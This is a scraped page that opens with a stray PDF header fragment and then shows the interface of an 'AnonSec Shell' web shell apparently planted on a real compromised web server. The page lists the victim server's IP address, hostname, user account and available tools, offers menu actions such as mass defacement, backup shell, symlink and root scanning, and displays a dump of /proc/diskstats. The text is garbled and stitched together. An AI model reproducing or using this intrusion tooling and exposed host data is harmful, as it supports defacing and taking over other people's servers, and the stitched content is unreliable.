%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.217.172   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/images/product/anon_sym/anon/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/images/product/anon_sym/anon/proc/diskstats
   7       0 loop0 44 0 85 1 0 0 0 0 0 60 1 0 0 0 0 0 0
   7       1 loop1 288 0 7192 57 0 0 0 0 0 148 57 0 0 0 0 0 0
   7       2 loop2 10733 0 65730 467 0 0 0 0 0 6412 467 0 0 0 0 0 0
   7       3 loop3 260 0 4390 82 0 0 0 0 0 176 82 0 0 0 0 0 0
   7       4 loop4 11101 0 62384 379 0 0 0 0 0 7076 379 0 0 0 0 0 0
   7       5 loop5 13716 0 76142 566 0 0 0 0 0 8172 566 0 0 0 0 0 0
   7       6 loop6 13667 0 75254 579 0 0 0 0 0 7916 579 0 0 0 0 0 0
   7       7 loop7 10879 0 68682 646 0 0 0 0 0 6700 646 0 0 0 0 0 0
  11       0 sr0 17 0 7 1 0 0 0 0 0 36 1 0 0 0 0 0 0
   8       0 sda 2901571 236158 155167582 2736939 53192436 30051346 1442536822 135284761 0 66025612 138113019 46147 38554 342259640 91318 0 0
   8       1 sda1 11902 0 108546 7405 0 0 0 0 0 11736 7405 0 0 0 0 0 0
   8       2 sda2 1421 137 94756 638 1606 440 2089016 38773 0 6388 39647 121 18 5799904 234 0 0
   8       3 sda3 2886721 236021 154903265 2728396 53190830 30050906 1440447806 135245987 0 66012492 138065467 46026 38536 336459736 91083 0 0
 253       0 dm-0 3119278 0 154671431 3059676 82976664 0 1440447806 223936976 0 65986228 227168244 84562 0 336459736 171592 0 0
   7       8 loop8 14428 0 86676 758 0 0 0 0 0 6640 758 0 0 0 0 0 0
   7       9 loop9 11050 0 63290 465 0 0 0 0 0 6912 465 0 0 0 0 0 0
   7      10 loop10 19826 0 108318 645 0 0 0 0 0 8156 645 0 0 0 0 0 0
   7      11 loop11 19606 0 108028 791 0 0 0 0 0 8120 791 0 0 0 0 0 0
   7      12 loop12 23348 0 134998 896 0 0 0 0 0 9004 896 0 0 0 0 0 0
   7      13 loop13 105434 0 523934 2540 0 0 0 0 0 18892 2540 0 0 0 0 0 0
   7      14 loop14 527 0 9948 290 0 0 0 0 0 280 290 0 0 0 0 0 0
   7      15 loop15 535 0 8640 456 0 0 0 0 0 344 456 0 0 0 0 0 0
   7      16 loop16 443 0 6712 323 0 0 0 0 0 292 323 0 0 0 0 0 0
   7      17 loop17 269 0 3478 275 0 0 0 0 0 212 275 0 0 0 0 0 0
   7      18 loop18 2750 0 209538 1403 0 0 0 0 0 10128 1403 0 0 0 0 0 0
   7      19 loop19 3758 0 41094 5872 6373958 0 65479656 8701876 0 9055488 16013771 519 0 31433016 795 617550 7305226
   7      20 loop20 435 0 8138 77 6 0 16 13 0 224 104 0 0 0 0 6 13
   7      21 loop21 14152 0 76730 324 0 0 0 0 0 6440 324 0 0 0 0 0 0

Anon7 - 2022
AnonSec Team